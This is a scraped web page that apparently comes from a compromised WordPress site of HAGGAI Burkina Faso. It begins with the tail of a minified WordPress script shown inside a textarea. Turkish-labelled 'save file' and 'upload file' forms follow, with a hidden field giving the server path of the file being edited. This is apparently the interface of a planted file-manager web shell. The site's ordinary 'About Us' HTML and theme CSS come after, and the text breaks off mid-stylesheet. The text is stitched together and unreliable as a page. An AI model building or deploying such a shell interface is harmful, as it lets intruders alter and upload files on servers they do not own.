k=this.tryMoveInsertionToCursor(h,y,e,f);if(k){c.push(...k),u++,o=p;continue}}if(w){let k=this.tryMoveDeletionToCursor(h,c,e,o);if(k){c.pop(),c.push(...k),o+=h.count??0;continue}}c.push(h),h.added||(o+=h.count??0)}i=c;let l=new H(this.ops),a=new H(t.ops);return this.convertChangesToDelta(i,l,a).chop()}tryMoveInsertionToCursor(t,e,r,s){let i=e.value,o=i.length,c=r-s-o;if(!(t.value.substring(c,c+i.length)===i))return null;let d=t.value.substring(0,c),u=t.value.substring(c),h=[];return d.length&gt;0&amp;&amp;h.push({value:d,count:d.length,added:!1,removed:!1}),h.push(e),u.length&gt;0&amp;&amp;h.push({value:u,count:u.length,added:!1,removed:!1}),h}tryMoveDeletionToCursor(t,e,r,s){let i=e[e.length-1];if(!i||i.added||i.removed)return null;let o=s-(i.count??0),c=s;if(r&lt;o||r&gt;=c)return null;let l=t.value,a=r-o;if(!(i.value.substring(a,a+l.length)===l))return null;let h=i.value.substring(0,a),f=i.value.substring(a),p=t.count??0,g=f.substring(p),m=[];return h.length&gt;0&amp;&amp;m.push({value:h,count:h.length,added:!1,removed:!1}),m.push(t),g.length&gt;0&amp;&amp;m.push({value:g,count:g.length,added:!1,removed:!1}),m}deltasToStrings(t){return[this,t].map(e=&gt;e.map(r=&gt;{if(r.insert!==null||r.insert!==void 0)return typeof r.insert==&quot;string&quot;?r.insert:yd;let s=e===t?&quot;on&quot;:&quot;with&quot;;throw new Error(&quot;diff() called &quot;+s+&quot; non-document&quot;)}).join(&quot;&quot;))}convertChangesToDelta(t,e,r){let s=new q;return t.forEach(i=&gt;{let o=i.count??0;for(;o&gt;0;){let c=0;if(i.added)c=Math.min(r.peekLength(),o),s.push(r.next(c));else if(i.removed)c=Math.min(o,e.peekLength()),e.next(c),s.delete(c);else{c=Math.min(e.peekLength(),r.peekLength(),o);let l=e.next(c),a=r.next(c);(0,or.default)(l.insert,a.insert)?s.retain(c,he.diff(l.attributes,a.attributes)):s.push(a).delete(c)}o-=c}}),s}},Ec=xd;var Vs={};jo(Vs,{ConnectionErrorCode:Pe,createSyncManager:mc,Delta:Ec,CRDT_DOC_META_PERSISTENCE_KEY:Xn,CRDT_RECORD_MAP_KEY:Qn,LOCAL_EDITOR_ORIGIN:Zn,LOCAL_UNDO_IGNORED_ORIGIN:Ro,retrySyncConnection:()=&gt;wn.retryNow()});var bd=&quot;13&quot;;return Tc(Ed);})();
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/sync.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>About Us | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1cfad48f86f*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media 